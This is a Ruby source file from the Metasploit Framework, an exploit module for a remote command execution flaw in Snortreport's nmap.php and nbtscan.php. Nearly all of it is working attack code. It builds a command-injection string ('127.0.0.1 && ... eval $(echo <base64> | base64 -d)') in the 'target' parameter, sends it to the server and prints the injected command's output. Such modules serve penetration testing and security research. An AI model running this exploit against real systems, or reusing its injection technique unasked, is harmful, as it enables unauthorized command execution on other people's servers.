metasploit-framework/modules/exploits/multi/http/snortreport_exec.rb

94 lines
2.4 KiB
Ruby

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'Snortreport nmap.php/nbtscan.php Remote Command Execution',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability in
nmap.php and nbtscan.php scripts.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Paul Rascagneres' #itrust consulting during hack.lu 2011
],
'References' =>
[
['OSVDB', '67739'],
['URL', 'http://www.symmetrixtech.com/articles/news-016.html']
],
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet python',
}
},
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Targets' => [['Automatic',{}]],
'DisclosureDate' => 'Sep 19 2011',
'DefaultTarget' => 0
))
register_options(
[
OptString.new('URI', [true, "The full URI path to nmap.php or nbtscan.php", "/snortreport-1.3.2/nmap.php"]),
],self.class)
end
def exploit
base64_payload = Rex::Text.encode_base64(payload.encoded)
start = "127.0.0.1 && echo XXXXX && eval $(echo "
last = " | base64 -d) && echo ZZZZZ"
custom_payload = start << base64_payload << last
res = send_request_cgi({
'uri' => normalize_uri(datastore['URI']),
'vars_get' =>
{
'target' => custom_payload
}
},10)
if (res)
to_print=false
already_print=false
part=res.body.gsub("<BR>","")
part.each_line do |line|
if line =~ /ZZZZZ/
to_print=false
end
if to_print == true
print(line)
end
if line =~ /XXXXX/
already_print=true
to_print=true
end
end
if already_print == false
print_error("This server may not be vulnerable")
end
else
print_error("No response from the server")
end
end
end